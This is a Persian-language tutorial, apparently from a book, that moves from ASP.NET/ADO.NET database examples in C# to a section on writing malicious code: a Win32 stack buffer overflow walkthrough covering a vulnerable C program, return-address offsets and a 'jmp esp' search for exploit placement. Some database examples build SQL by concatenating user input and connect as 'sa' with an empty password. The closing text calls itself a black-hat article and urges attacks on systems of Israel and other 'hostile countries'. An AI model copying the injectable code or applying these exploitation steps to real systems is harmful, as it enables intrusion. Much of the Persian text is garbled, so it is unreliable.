ExecuteScalar یش به مربوط SqlCommandگردد یم استفاده.  

 
private void Page_Load(object sender, System.EventArgs e) 
{ 
SqlConnection MyConnection = new 
SqlConnection("server=(local);uid=sa;pwd=;database=MyTestDB"); 
SqlCommand newCmd = new 
SqlCommand("select MAX(tblSell.ID) from tblSell",MyConnection); 
MyConnection.Open(); 
int intRes = (int)newCmd.ExecuteScalar(); 
MyConnection.Close(); 
Response.Write(intRes) ; 
} 

  
  T-SQL :عبارات به ر هايمتغ فرستادن یبرا گريد یروش

  
 : میردک یم استفاده ریز مانند یدستورات از سيتابید از وردکر یسر یک ردنک انتخاب یبرا مثال یبرا قبل فصل در
  

strSQL = " select * from tbl1 where field1='"+ text1.text + "'"; 
  
  : نمود استفاده ریز صورت به هم پارامتر ها از توان یم مينک پاس عبارت به صورت نیبد راText1.text هکنیا یجا به
 

  :٤ مثال
  
ا  ستک ت اتی محتو ، یک  مثال به نسبت متفاوت یروش از استفاده با ميخواه یم مثال نیا در ا  سکب ه  را ه را  البت ه  اطلاعات  ورود یب  ب

ام  و ردهک  آماده ریز لکش به را اطلاعات ورود فرم .ميده قرار یبررس موردmyTestDB.dbo.tblEntry.ID جدول ا  ستک ت ن  سکب
تفاده  صفحه  عناصر  ردنک  مرتب  یبرا توان یم هم BorderSize= (0) با یجدول از  (دیينما لیتبد دار معنا یعبارات به را ها  ردک  اس

ه کد یک  و دیينما مرتبط ها سکبا ستکت به راRequiredFieldValidators سپس م  م را  ه ه  اطلاعات  ردنک  اضافه  یب اب ید ب ه  سيت  ب
  .آنها شینما یبرا دیتاگرید یک و دیينما اضافه صفحه
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 .یطراح حال در ٤ مثال به مربوط اطلاعات ورود فرم – ٧ لکش
  

private void btnAdd_Click(object sender, System.EventArgs e) 
{ 
SqlConnection sqlconnectionMyTestDB = new 
SqlConnection("server=(local);uid=sa;pwd=;database=MyTestDB"); 
SqlDataAdapter sqldataadapterEntry = new 
SqlDataAdapter("select * from tblEntry", sqlconnectionMyTestDB); 
String insertCmd = "INSERT INTO tblEntry(id, Entry_no) VALUES( " + 
"@Id, @Entry_No )"; 
SqlCommand sqlcommandEntry = new SqlCommand(insertCmd, 
sqlconnectionMyTestDB); 
sqlcommandEntry.Parameters.Add( 
new SqlParameter("@Id", SqlDbType.Int)); 
sqlcommandEntry.Parameters["@Id"].Value = txtID.Text; 
sqlcommandEntry.Parameters.Add( 
new SqlParameter("@Entry_No", SqlDbType.Int)); 
sqlcommandEntry.Parameters["@Entry_No"].Value = txt_Entry_No.Text; 
sqlcommandEntry.Connection.Open(); 
sqlcommandEntry.ExecuteNonQuery(); 
sqlcommandEntry.Connection.Close(); 
DataSet datasetEntry = new DataSet(); 
sqldataadapterEntry.Fill(datasetEntry, "tblEntry"); 
DataGrid1.DataSource=datasetEntry.Tables["tblEntry"].DefaultView; 
DataGrid1.DataBind(); 
DataGrid1.Visible = true; 
} 

  
را  هک است یروش به هيشب روش نیا دیيفرما یم ملاحظه هک همانطور ا  هی رو یب ارامتر  هک  یا شده  رهي ذخ یه د  یم  پ  یم  ارک ب گرفتن

  .رود
  
  

  OLE DB :یها سيتابيد از استفاده
  
ا  سيتابید از استفاده یبرا د  OLE DB یه ضا  از دی باADO.NET در سسک ا مانن ام  یف تفاده  System.Data.OleDb ن ا  . ردک  اس  ب

د  SQL دستورات  از یسر  یک  توان یم System.Data.OleDb.OleDbCommand لاسک از استفاده  ، Update ، Insert  مانن
Select و Deleteداد انجام را شده رهيذخ یها هیرو یاجرا نيهمچن و.  

 
   :٥ مثال

  
دا  .مين ک رهي ذخ سسکا یاطلاعات کبان درون را اطلاعات از یسر یک میدار قصد ریز مثال در از  را XP سسک ا ابت  از سپس  و دي نک ب
 کبان  یک  تا دیينما يکل کBlank Data Base ی نهیگز یرو صفحه راست سمت پنل از و دينک انتخاب راNew ی  نهیگز لیاف یمنو
از  الوگی د ی  صفحه  در .شود جادیا access_db.mdb نام به مثال یبرا یخال دیجد  Create Table in  تمی آ یرو) ٨ لکش  ( شده  ب

design View ب  هک  سيتابید یطراح ی صفحه تا دیينما يکلک اب ید یطراح  طيمح  هيش از  است  SQL-Server در سيت  سپس  . شود  ب
 و شود  ظاهر )١٠ لکش ( جدول نام ردنک رهيذخ ی صفحه تا دیبند را پنجره سپس . دينک یطراح را جدول ) ٩ لشک( ریز لکش مطابق

 ) ١١ لکش ( ندک یم سوال Primary key  جادیا مورد در شما از سسکا سپس . دیينما ارد و را tblEntry نام
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  .سسکا در شده جادیا یخال سيتابید خواص ی صفحه – ٨ لکش
 
  
  

  
  
  .سسکا در دیجد جدول یطراح – ٩ لکش
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 .سسکا کبان دیجد جدول نام ردنک وارد - ١٠ لکش
  
  

  
  
  Primary key .لديف جادیا دیيتا ی صفحه – ١١ لکش
  

ستگ  موضوع  نی ا البته ( ندک یم درست فرض شيپ لديف یک چون ! دينکن دیيتا آنرا ه  یب اب ید ب م  شما  سيت را   )دارد ه  ردنک  درست  یب
Primary key همانند SQL-Serverد يف یرو یعن ی ( ردک عمل توان یم وان  یم  دلخواه  ل و  از سپس  و ردک  يک لک ت  شده  ظاهر  یمن

ا  دي نک رهي ذخ را خود  ارک .دينک درست ID لديف یرو Primary key یک ) نمود انتخاب راPrimary key ی  نهیگز اب ید نی ا از ت  سيت
  . میينما استفاده یبعد یمثالها در شده جادیا

  
 دک از استفاده با سپس ) ١٢ لشک ( دیينما یطراح یقبل مثال همانند آنرا یظاهر لکش سپس و دينک باز گریدASP.NET ی پروژه یک
  .ردک اضافه آن به را دیجد ایورد هکر توان یم ریز
  
  

 
  
  . یطراح حالت در ٥ مثال یظاهر لکش – ١٢ لکش
  
 
  : مينک یم ملحق برنامه به را مربوطه نام یفضا یارک هر از قبل
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using System.Data.OleDb; 
  
  : نوشت ميخواه Add مهکد به مربوط يکلک رخداد در و
  

private void btnAdd_Click(object sender, System.EventArgs e) 
{ 
//g:\inetpub\wwwroot\classes\ch09\ex05\acess_db.mdb 
// or : 
//MapPath : Returns the physical file path that corresponds to 
//the specified virtual path on the Web server. 
String FilePath; 
FilePath = Server.MapPath("acess_db.mdb"); 
// Connect to Database 
OleDbConnection cnAccess = new 
OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;"+ 
"Data Source="+ FilePath ); 
cnAccess.Open(); 
//Make the insert statement 
string sInsertSQL = "insert into tblEntry values(" + 
txtID.Text + "," + txt_Entry_No.Text + ")"; 
//Make the OleDbCommand object 
OleDbCommand cmdInsert = new OleDbCommand(sInsertSQL,cnAccess); 
// This not a query so we do not expect any return data so use 
// the ExecuteNonQuery method 
cmdInsert.ExecuteNonQuery(); 
// displaying data 
OleDbDataAdapter sqldataadapterEntry = 
new OleDbDataAdapter("select * from tblEntry",cnAccess); 
DataSet datasetEntry = new DataSet(); 
sqldataadapterEntry.Fill(datasetEntry, "tblEntry"); 
DataGrid1.DataSource=datasetEntry.Tables["tblEntry"].DefaultView; 
DataGrid1.DataBind(); 
DataGrid1.Visible = true; 
} 

  
ال  در وق  مث ان  از ف د  روش هم را  ASP یمیق ه  سسک ا mdb  لی فا یکی زيف ريمس  ردنک  مشخص  یب  Server.MapPath صورت  ب

ارت  Sql ی بجا فقط است قبل مانند زيچ همه دیيفرما یم ملاحظه هک همانطور . میا ردهک استفاده رار OleDb  عب ه  ق ام  و است  گرفت  تم
  . اشدب یم یرارکت هم آنها حاتيتوض
 ADO یقبل  ستميس یخواندن فقط Recordset یک مانند توان یم System.Data.OleDb.OleDbDataReader لاسک از استفاده با

   .خواند را وردکر یک فقط لحظه هر در .ردک استفاده
 
  

   :٦ مثال
 سپس  و دي ده قرار فرم یرو Label یک  . مينک یم مرور هم با OleDbDataReader لاسک از استفاده ی نحوه از را یمثال ریز در

  : دیينما اضافه برنامه به را ریز نام یفضاها
 

using System.Data.OleDb ; 
using System.Text; // for StringBuilder 

  
 هبرنام در ، میا ردهک جادیا قبل مثال یط در هک را سسکا یاطلاعات کبان به مربوطtblEntry  جدول ایورد هکر کت کت ميخواه یم

  .ميده شینما ، مينک یم جادیاHTML یتگها از استفاده با خودمان هک جدول یک در آنرا و خوانده
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 یروش . میينما استفاده StringBuilder  لاسک از ميخواه یم هک میا ردهک استفاده برنامه در جهت نیا به System.Text نام یفضا از
ال  در هک  باشد  یم  لاسک  نیا از استفاده هاstring  ردنک جمع مورد در + علامت به نسبت ارآترک و (!) يکش  ارک ب عمل  در ری ز مث

   .است شده گرفته
 

private void Page_Load(object sender, System.EventArgs e) 
{ 
String FilePath; 
FilePath = Server.MapPath("acess_db.mdb"); 
// Connect to Database 
OleDbConnection cnAccess = new 
OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;"+ 
"Data Source="+ FilePath ); 
cnAccess.Open(); 
//Make the select statement 
string sSelectSQL = "select * from tblEntry"; 
//'Make the OleDbCommand object 
OleDbCommand cmdSelect = new OleDbCommand(sSelectSQL,cnAccess); 
//This query should return an OleDbDataReader so we use the 
//ExecuteReader method 
StringBuilder sbResults = new StringBuilder(); 
OleDbDataReader drEmp = cmdSelect.ExecuteReader(); 
drEmp.Read(); 
sbResults.Append ("<Table>"); 
do 
{ 
sbResults.Append ("<TR><TD>"); 
sbResults.Append ( drEmp.GetInt32(0).ToString()); 
sbResults.Append ("</TD><TD>"); 
sbResults.Append ( drEmp.GetInt32(1).ToString() ); 
sbResults.Append ("</TD><TR>"); 
}while (drEmp.Read()); 
sbResults.Append ("</Table>"); 
lblResult.Text = sbResults.ToString(); 
} 

  
  OleDbDataAdapter :لاسک
  

صالات  و دستورات انگريبData Adapter  دیا ردهک ملاحظه تابحال هک همانطور را  هک  است  یات ا يپ یب اب ید شیم ه  ارک ب سيت  یم  گرفت
  :رديگ یم قرار استفاده مورد سيتابیدی رسان روز به یبرا هک دارد یدستور تيخاص سه لاسک نیا . شود

  
InsertCommand : شود یم برده ارکب سيتابید به دیجد وردکر ردنک اضافه یبرا هک است یا شده رهيذخ هیرو ای پرسجو انگريب. 

  
SelectCommad :  عبارت یک انگريب SQLرود یم ارکب یاطلاعات کبان از ورد هاکر انتخاب یبرا هک است.  

  
DeleteCommand :  عبارت یک انگريب SQLرود یم ارکب ست تاید از ورد هاکر حذف یبرا هک است.   

 
  
 و System.Data.DataRow و System.Data.DataTable و System.Data.DataSet  یها لاسک

System.Data.DataColumn  
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DataSet ی  لهيبوس هک یعموم است یلاسک Net Framework یساز  رهي ذخ یبرا نتیلاک سمت یرو بر لاسک نیا است شده هيته 
 DataSet در ها داده نیا بر علاوه . دارد اربردک ADO Recordset به نسبت است تر یقو و تر یاربردک اريبس هک یروش به ها داده
وده  موجود XML فرمت به ابرا  و ب را  نیبن ت  یب د  و یابيدس اده  تیریم ند  یم  آم را  XML فرمت  . باش را  آن ا ک یب س  وب یاربرده  اريب

  . حفظ و جدول نیچند از یساز رهيذخ تيقابل DataSet  سازد یم نکمم را Cross-Platform یابيدست و ساخته مناسب
 

 یش  در . است  جداول  نيب ارتباطات انگريب DataRelation و شوند یم رهيذخ DataTable اياش در جداول . است آنها نيب ارتباطات
 )١٣ لشک ( شوند یم رهيذخ جدول یک در ها ستون و ها فیرد ، بيترت به DataColumn و DataRow یها
  

   :٧ مثال
  
 شده رکذ اياش از استفاده با را قبل مثال ميخواه یم مثال نیا در . آنها نيب روابط و DataTable  اياش از استفاده ی نحوه مورد در یمثال
   . مينک یسیبازنو یجار قسمت در
  

  : دیينما اضافه برنامه به را ریز نام یفضاها سپس و ديده قرار فرم یرو Label یک 
 

using System.Data.OleDb ; 
using System.Text; // for StringBuilder 
 

  
  
 DataSet .یی ای ش مدل - ١٣ لکش

 
private void Page_Load(object sender, System.EventArgs e) 
{ 
String FilePath; 
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FilePath = Server.MapPath("acess_db.mdb"); 
// Connect to Database 
OleDbConnection cnAccess = new 
OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;"+ 
"Data Source="+ FilePath ); 
cnAccess.Open(); 
// Make the select statement 
string sSelectSQL = "select * from tblEntry"; 
//Make the OleDbCommand object 
OleDbCommand cmdSelect = new OleDbCommand(sSelectSQL,cnAccess); 
OleDbDataAdapter daEmp = new OleDbDataAdapter(cmdSelect); 
DataSet dsEmp = new DataSet(); 
StringBuilder sbResults = new StringBuilder(); 
// Fill the data with the output of the cmdSelect command. Note 
// that the dataadapter is associated with the command. We use 
// the dataadapter to fill the dataset. 
daEmp.Fill(dsEmp, "tblEntry"); 
PrintRows(dsEmp); 
} 
private void PrintRows(DataSet myDataSet) 
{ 
StringBuilder sbResult =new StringBuilder(); 
// Iterate through all the DataTables in the DataSet 
foreach( DataTable dtEmp in myDataSet.Tables ) 
{ 
sbResult.Append("<Table>"); 
// Iterate through all the DataRows in the DataTable 
foreach( DataRow drEmp in dtEmp.Rows ) 
{ 
sbResult.Append("<TR>"); 
// Iterate through all the DataColumns in the DataRow 
foreach (DataColumn dcEmp in dtEmp.Columns) 
{ 
sbResult.Append("<TD>"); 
sbResult.Append(drEmp[dcEmp]); 
sbResult.Append("</TD>"); 
} 
sbResult.Append("</TR>"); 
} 
sbResult.Append("</Table>"); 
} 
lblResult.Text = sbResult.ToString(); 
} 
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  مخرب ایهکد نوشتن نحوه پيرامون مباحثی
  

ه ان       ام ب هيخوب ما در این قسمت با توجه به آموزش های برنامه نویسی که دادیم حال ميخوا                ا      توجه ب يم    آ، از آموزش ه تفاده کن ا اس . نه
  . دهيد ه باید ادامنيه کار را خودتا کرده تا شالوده کار دست شما بياید و بقحبرای این منظور مباحثی را هرچند ناقص در این باب مطر

  
   (Buffer Overflow) بافر چيست ؟ سرريز

 
 
وده  یوتريامپی ک ستمهاي س یتيامن لاتکمش نیتريمیقد از (Overflow Buffer)بافر زریسر ه  اگر  حاضر  حال  در .است  ب  یضعفها  ب
 از ٣/١ حداقل  آه دیشو  یم  متوجه  ، دندازی يب ید نگاه ان شده ثبت Security Focus  مثل ییتهایسا در آه مختلف یافزارها نرم یتيامن
اده  مثال یک با مقاله نیا در.است شده دهید عامل یها ستميس تمام در لکمش نیا.شوند یم Buffer Overflow به مربوط ضعفها نیا  س
، Buffer Overflow انی پا در .شد خواهد یررسب یوتريامپک یها ستميس به نفوذ جهت آن از ها نفوذگر استفاده یچگونگ و موضوع 

د  شده  نوشته  C زبان به مقاله نیا در شده رکذ یها برنامه.شد خواهد ارائه حملات نوع نیا از یريجلوگ یبرا ییروشها  تحت  دی با و ان
ا  ستميس به و است نظر مورد Win 32 یها برنامه در بافر زیسرر تنها مقاله نیا در شوند لیامپاک Windows عامل ستميس  مل عا یه
   ) .شد نخواهد اشاره Unix/Linux  مثل گرید
 

  :ميآن یم آغاز وتاهک برنامه یک با را موضوع یبررس
 
 

/* big.exe */ 
#include <stdio.h> 
int insecure_func (char *big) { 
char insecure_buff[100]; 
strcpy(insecure_buff,big); 
return 0; 
} 
int main (int argc, char *argv[]) { 
char input_buff[1024]; 
gets(input_buff); 
insecure_func(input_buff); 
return 0; 
} 

 
رار  input_buff  هی آرا در را دي ل کصفحه  از یورود رشته ابتدا برنامه د يم ق ام  سپس  ده ابع  آه یهنگ ا  insecure_func ت تادن  ب  فرس

input_buff در موجود مقدار تابع نیا ، شود یفراخوان input_buff در را insecure_buff کوچکتر  اصلی نکته . ردک خواهد یپک 
 ١٠٠از  شتري ب input_buff input_buff اگر  هیک بطور . باشد است   داده جای  خود  در را کاراکتر از insecure_buff اندازه بودن

   .شد خواهد (Overflow) زیسرر insecure_buffکاراکتر را در خود جای داده باشد 
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ه برنا حال ه  را 'a'ترکاراک  100 از شيب  و دي ن کاجرا  و لی امپاک را م وان  ب ه  یورود عن ه  ب ام يپ Enter دي ل کزدن از پس  .دي بده برنام  غ
 :آرد ديخواه افتیدر ریز مورد هيشب ییخطا

 
  

  
 خطا غاميپ

  
 را یفعل  روال به برگشت آدرس ملعا ستميس ، شوديم یفراخوان گرید روال یک درون از تابع یک گاه هر :است افتاده یاتفاق چه مينيبب
رل ک و داده قرار  (Stack) "پشته " نام به حافظه ازی محل در ه  را نت د  یم  شده  یفراخوان  روال ب د  . ده  روال انی پا از پس  بي ترت نیب
 برگشت آدرس بالا مثال در .دهد یم یاصل روال به راه برنامه یاجرا دوبارهStack  از برگشت درسآ یابیباز با عامل ستميس ، ورکمذ
 یداراStack  زیسرر وقوع از قبل نیبنابرا  .دارد اشاره return 0  دستور به) strcpy  ستورد یاجرا از شيپ ( زیسرر وقوع از قبل

  :  است ریز ساختار
 

  
 Stack ساختار

  
شته  ه  شهي هم (stack)پ ا  آدرس سمت  ب ا  یه ر  نیيپ د يکم رشد  ت ام  .ن ه،  یاجرا  شروع  هنگ را  تی با ١٠٠عامل  ستمي س برنام افر  یب  ب

insecure_buff دستور شدن اجرا ه کاست واضح .گذارد یم ر کناآن strcpy در موجود  رشته اندازه هک یحالت در  big  ر   از بزرگت
insecure_buff برگشت آدرس تغيير باعث باشد(return address) برگشت آدرس چرا هک ديفهم یم ، دينک دقت یمک اگر .شد خواهد 

ه توسط دستور    ١۶ی مبنا در دستور توسط هک است 'a'ترکاراک کیاس دک x061 . است x 616161610 زریسر از بعد  strcpy است ک
  شود یپک insecure_buff بافر به بوده قرار

  
ا  .شد  مشخص overflow stack  بروز یچگونگ و علت نجایا تا ه  ام را  لکمش  نی ا چگون وذ  یب ه  نف ورد  ستمي س ب تفاده  م رار  اس  یم  ق
   د؟ريگ
  
ا  دک  جز  یزي چ ه،ی لا نیآخر  در هستند،  اجرا  حال  در عامل  ستمي س یک یرو هک ییها روال و ها برنامه تمام هک ميدان یم  نيماش  یه
د  دستورالعمل به مربوط حافظه آدرس وتريامپک CPU . شوند یم اجرا و خوانده سرهم پشت هک ستندين ه  یاجرا  طول  در را یبع  برنام
 هر  در را ستري رج نی ا در موجود آدرس بتوان اگر حال .ندی کم منتقل آدرس آن به را برنامهی اجرا نترلک و خوانده EIP ستريرج از

ه  هيبق یاجرا درنگ بدون CPU داد، رييتغ یگرید مقدار به برنامه یاجرا از یا مرحله ه  دی جد آدرس نی ا از را برنام د  ادام  .داد خواه
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ان  سیسرو  ای backdoor یک دک دیجد آدرس محل در دينک تصور وع  هر  ا ی و یپنه رار  یگر ید مخرب  دک  ن  نی ا جه ينت .باشد  داشته  ق
ا  توسط   آن ريمس  هک یاصل برنامه دک یبجا را دک نیا وتريامپک هک شد خواهد د  اجرا  شده،  عوض  م ود  خواه د  و نم وذگر  بي ترت نیب  نف
ه  دنيرس  یبرا نفوذگر نیبنابرا .رديگ بدست را مزبور مستيس نترل ک، شده اجرا ربخم د کای backdoor از استفاده با توانست خواهد  ب
د ک حل را مساله دو دیبا خود هدف را  یراه  افتنی  اول .ن اد یا یب را  . هدف  ستمي س در overflow ج وذگر  ارک نیا یب ا  سیسرو  ، نف  و ه
د  هدف ستميس یرو اجرا حال در یها برنامه را  را ... و Ftp Server ، Mail Server  ،  Server Web مانن  جهت  یروش  افتنی  یب

 روش توان ینم و است خارج قسمت نیا حوصله از ها overflow بحث .نمود خواهد شیآزما آنها از دامک هر ردنک overflow  افتنی
تاندارد  ا  و یسع  یرو شتري ب و آرد شنهادي پ را یاس ه  .است  استوار  خط تفاده  دوم مرحل ه  از اس را  شده  overflow برنام د اجرا  یب  ی ک

 .اهدلخو
 
 
 .ميآن  اجرا  ستمي س یرو را خود  نظر  مورد کد big.exe  برنامه از استفاده با برنامه مينک یم یسع نفوذگر، ار کروس دادن نشان یبرا

ان  دستورات  کوچ ک دک  یک  شامل  هک میساز یم) a  ترکارا ک١٠٠ی جا به( ی ورود عنوان به را یا رشته  اصطلاحا  هی ک اسمبل  زب
exploit ورد  ارک  ه کاست دشو یم دهينام ا  نظر  م ام  ستمي س یرو را م د  انج ا  و داد خواه رل ک برگشت،  آدرس ريي تغ ب ه  را نت  د ک نی ا ب
  .ديرس ميخواه نظر مورد جهينت به بيترت نیبد .ميده یم خودمان

 
 
ا  توسط  شده  ساخته  یورود رشته  ميبدان تا میدار اجياحت Exploit دک نوشتن یبرا  در شده  رهي ذخ برگشت  آدرس یرو یمحل  چه  در م
را  Disassembler یک  از استفاده اول روش.دارد وجود راه دو موضوع نیا دانستن برای.افتاد  خواهدStack یانتها دازه  افتنی  یب  ان
 است  خطا و آزمون انجام دوم راه .افتد یم اتفاق آن در زیسرر هک میبگرد یتابع دنبال به میمجبور روش نیا در .است شده زیسرر بافر
 :دهد یم انجام مانیبرا را ارک نیا ریز کوچک دک ، میبساز 255 تا 32 کیاس یها دک از یترکاراک رشته دیبا تدااب ،
 
  

/* ascii.exe */ 
#include <stdio.h> 
void main(void) { 
int i; 
for (i=0;i<256;i++) printf("%c",i); 
} 

  
ا  ترکارا ک چرا  آه دیآ یم شيپ سوال نیا ا  ه ر بزرگ کیاس  دک  ب ه  هک  یا رشته  آه ديباش  داشته  توجه  .میرد ک انتخاب  را 32 از ت وان  ب  عن

  :ی ها ترکاراک کیاس یها دک یحاو دینبا ميده یم هدف برنامه به یورود
 

LF(0x0a) ، NULL(0x00)  ، EOF(0x1a)  ، CR(0x0c) 
  

د  یتلق رشته یانتها عنوان به را آن دبرس دهاک نیا از یکی به یترکاراک رشته ردنک یپک هنگام  strcpy تابع اگر چون باشد  ردک  خواه
 حال  .ميآن  یم  انتخاب  ستي ن دهاک  نی ا از دامکچيه شامل هک را 255 تا 32 بازه ما هک است ليدل نيهم به .شد نخواهد یپک رشته هيبق و

  : ميآن یم اجرا ریز صورت به ، ردهک لیامپاک را برنامه
 

C:\> c:\bof\big.exe | ascii.exe 
  
 از شروع با یعنی ) است چپ به راست از یريقرارگ بيترت ( است x8b8a89880  آدرس یحاو EIP  ستريرج خطا غاميپ در ارب نیا

ارم  و صد  محل  افر  چه د  یم  برگشت  آدرس یرو یورود رشته ) x88-0x20=  1040 ( ب  ساخت  ميخواه  هک  یا رشته  در پس  .افت
 .شود اجرا ميخواه یم ه کباشد یدک به برگشت آدرس یحاو دیبا ) تیبا ۴ طول به(  حافظه 107 تا 104 یمحلها

  
 
   : دارد وجود انکام دو باره نیا در . ميده لکيتش را Exploit  د کچگونهیم که ريبگ ميتصم دیبا حالا ، شد حل اول لکمش
  

  بافر 104 محل تا بافر یابتدا از Exploit  دی کريقرارگ •
  

  بعد به بافر 108 محل از Exploit دک یريقرارگ •
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ا  و ميآن  یم  انتخاب  را دوم روش جهت  نيهم به ، ردک خواهد محدود تیبا 104 به را ما Exploit کد اندازه اول روش انتخاب  یمحله
   .ميآن یم پر x900 یعنی NOP (No Operand) ی اسمبل دستور دک با زين را صد چهارم آدرس از قبل حافظه

  
  

 و ها ستريرج تيضعو یبررس به ابتدا .ميده قرار یواقع برگشت آدرس یجا به ميخواه یم هآ است حافظه محل آدرس نييتع آخر مساله
   :میپرداز یم )return0 دستور توسط شده ديتول( ی اسمبل RET دستور یاجرا از قبل درست بافر ساختار

  

  
  

د  ارهاش حافظه 104 محل به ESP  ستريرج RET دستور یاجرا از قبل درست دينيب یم هک طور همان وان  اگر  پس  ردک  خواه  در ميبت
ا  104 یمحلها در شده داده قرار یتیبا 4 آدرس به را نترلک بلافاصله پردازنده ، مينک اجرا jmp esp دستور یک لحظه نیا  یم  107 ت

ه  را ستمي س حافظه دیبا ابتدا . میا دهيرس خود منظور به ما و دهد ال  ب  حافظه  آدرس ميآن  جستجو  jmp esp (0xff0xe4) دستور  دک  دنب
رار  بافر 107 تا 104 یمحلها در یواقع برگشت آدرس یبجا هک است یآدرس همان شده دايپ ا  .ردي گ یم  ق  یاجرا  بي ترت حساب  نی ا ب

 :آمد خواهد در ریز صورت به برنامه
  
  

RET--> JMP ESP--> Our Exploit Code 
وان  یم  را xff0xe 40  بکيتر م  ت ه  حافظه  در ه م  و big.exe برنام وط  حافظه  در ه ه  مرب ا DLL  ب ه  متصل  یه  .رد ک جستجو  آن ب

 و مينيکم در را ندوزیو PE یلهایفا فرمت به مربوط فصل دو یکی نجایا در ( است برنامه به متصل یها DLL در جستجو راه نیبهتر
ه  ه  را آن مطالع ده  ب ده  عه د  خوانن ذار  یم  علاقهمن ا یفا ) میگ دوز یو در ستمي س  DLL یله ا  NT ن  در Image Base آدرس زا شروع  ب
ا  شوند  یم  Load حافظه  ه  کم ک ب ا  برنام وان  یم  PE Analyser یه ه  ت ان  ب ا یا در .رد ک داي پ را آدرس نی ا یآس ه  از نج  برنام

LISTDLLS تیسا از را آن ديتوان یم هک مينک یم استفاده sysinternals دينک افتیدر : 
 
  

C:\bof> listdlls big.exe 
. . ………………. 
 
Base                     Size                Version                    Path 
 
0x00400000         0x27000                                         C:\bof\big.exe 
0x77f60000          0x5c000         4.00.1381.0130      D:\WINNT\System32\ntdll.dll 
0x77f00000          0x5e000         4.00.1381.0133      D:\WINNT\system32\KERNEL32.dll 

  
  

 لی فا 3 نی ا از دامک هر داخل ای حافظه در ميتوان یم .مينيب یم را حافظه در آن یهاDLL  و برنامه یريقرارگ محل به راجع اطلاعات
ه  یازي ن چون  است تر راحت حافظه در جستجو . میبگرد jmp esp دستور دک دنبال به شده داده نشان ا Offset  محاسبه  ب ر  ه  خلاف  ب
سول ک هک  زیسرر وقوع هنگام و ميآن یم استفاده SoftICE  مثلا Debugger یک از .ستين لیفا داخل  ، شود  یم  ظاهر   SoftICE ن
  : ميآن یم اجرا را ریز دستور

 
S 1000000 | ffffffff fee 4 
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ا  ) دارد صفر  مخالف  اول تی با هی ک آدرس  نيول ا( x010000000  آدرس از حافظه  یجستجو  یعن ی  ی عن ی حافظه  Offsetین آخر  ت

xFFFFFFFF 0 . شد خواهد حاصل ریزيجه نت :  
 

Pattern found at 0023:77f327e5     (77f327e5) 
  

  :ی  ها دک از دامکچيه یحاو آدرس نیا شد دايپ x77f327e 50  آدرس محل در jmp esp  دستور
  

LF(0x0a) ، NULL(0x00)  ، EOF(0x1a)  ، CR(0x0c) 
  
   .ردک استفاده آن از توان یم یبراحت و ستين
  

 در سبب  نی ا هب ، بود خواهد یمتفاوت ریمقاد هدف عامل ستميس یرو شده نصب Service Pack  ورژن به توجه با فوق آدرس  :توجه
 و مين ک داي پ اطلاع  هدف  وتريامپک  یرو شده  بنص  Service Pack شماره  از یق یطر به ميسینو یم Remote Exploit هک یموارد
را  یگرید شرفتهيپ یها ش رو .مينک استفاده  راService Pack آن یبرا درست آدرس سپس د  وجود  یسی نو Exploit ی ب  نی ا آه دارن
   .نندک یم حل را لکمش
 
  
 آدرس یبجا دیبا هک آدرس -٢ است شده معلوم Exploit  دک یريقرارگ محل -١ . میدار ارياخت در را لازم اطلاعات تمام مرحله نیا در

ودن  Remote ای Local حسب بر هک است Exploit  برنامه نوشتن ماندهيباق ارک تنها ميدان یم ، شود داده قرار یواقع برگشت  هدف  ب
ه يزم شيپ با هک هستند موجود وب یرو یفراوان یها دک و مطالب نهيزمین ا ر دبود خواهد متفاوت ه  یفعل  ن ا  از دي توان یم  یانآس  ب  آنه

 .دیريبگ دهیا
  

   PE :مورد در شتريب اطلاعات دریافت
  

http://msdn.microsoft.com/library/en-us/dnwbgen/html/msdn_peeringpe.asp?frame=true 
  
 LISTDLLS : برنامه ریافتد

http://www.sysinternals.com/ 
 
  

ه شده است و    C0llect0rخوب بعد از آشنا شدن توسط ان مثال بالا به جزیات بيشتر کار ميپردازیم ، این قسمت توسط دوست خوبم          تهي
  .که نيت ما ارایه یک کتاب جامع بود ان را در این جا آورده ایم قبلا منتظر شده است اما با توجه به این

  
  

  اصل ماجرا 
  

  C0llect0r : نویسنده
  

B0rn2h4k@YaHoO.com 
B0rn2h4k@gmail.com 

  
  
  !!که  بدانيد است ترهب
 
 
ن  لطفاً : که کنم می عرض جد به. ندارید نویسی برنامه زمينه در ای تجربه يچه اگر که کنم می عرض عزیزم دوستان تخدم مه من  ای
رای  شده  گرفته نظر در نویسی برنامه سطح . نفرمایيد مطالعه را مقاله ن  ب ه  ای شرفته  مقال ه  باشد  می  پي دی  ن رای  اگر  مبت  دوست  شما  ب
ر  دليل نيست درک ابلق مقاله این از اییه قسمت عزیز د  ... ب ه  .بگذاری ه  ای مقال ه  يچه  است  شما  دست  در ک  در و نداشته  مشکلی  گون
ين ه و علمی سطح نظر از مه.... برای نه است شده نوشته ای حرفه ایه کره برای بالایی سطح ابع  سندیت  حيث  از مچن ل  من اع  قاب  دف
رداری  نوت Security ایه کلاس سر در که است اینجانب صیشخ جزوات از برگرفته مقاله این اعظم بخش مچنينه باشد می رده  ب  ک
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د  می شوم می خرسند بسيار ستنده فعاليت به مشغول زمينه این در که  محترمی دوستان و اساتيد نظرات شنيدن از تهج ره به. ام  تواني
  . نمایيد ارسال مربوطه ایه آدرس به را خود نظرات

  
 رهمکا و اساتيد از قدردانی

  
ه  در من به که اییه آموزش برای v1l3  شيطان عزیزم استاد از تشکر با ن  دادVulner Testing  و Exploiting  زمين ه  ای  یک  مقال

ه  است  مخرب  و شيطانی مقاله یک این وجود این با. نيست مه استاد این ایه آموزش از صدم ا  ک زم  مکار ه و دوست  مکاری ه ب   عزی
Smurfاست شده يههت .  

  
 دوستان از قدردانی

  
  . اسماعيل  و شریفی حسين امير ندسهم و مختاری احمد و محمدی محسن و Invisible.boy  عزیزم دوستان از تشکر با

 
اربران  است  مشکی  کلاه  ایه  کر ه سطح  در است شما روی پيش در که ای مقاله د  می  ک ن  در موجود  مطالب  از توانن ه  ای رای  مقال  ب
ستم  به زدن ضربه وذ  و دفه  ایه  سي ه  نف ستمی  ره  ب ستم  از سي د  را لازم ایه  رهه ب آن از (اسرایيل ) ایه  سي دی . ببرن روه  است  یهب  گ

وذ  رگونهه به مربوط ایه تمسئولي تمامی سياه شياطين پسران زیرزمينی ا  و نف ه  رسانی  آسيب  ی ستم  ب ا  متخاصم  ایهکشور  ایه  سي  ب
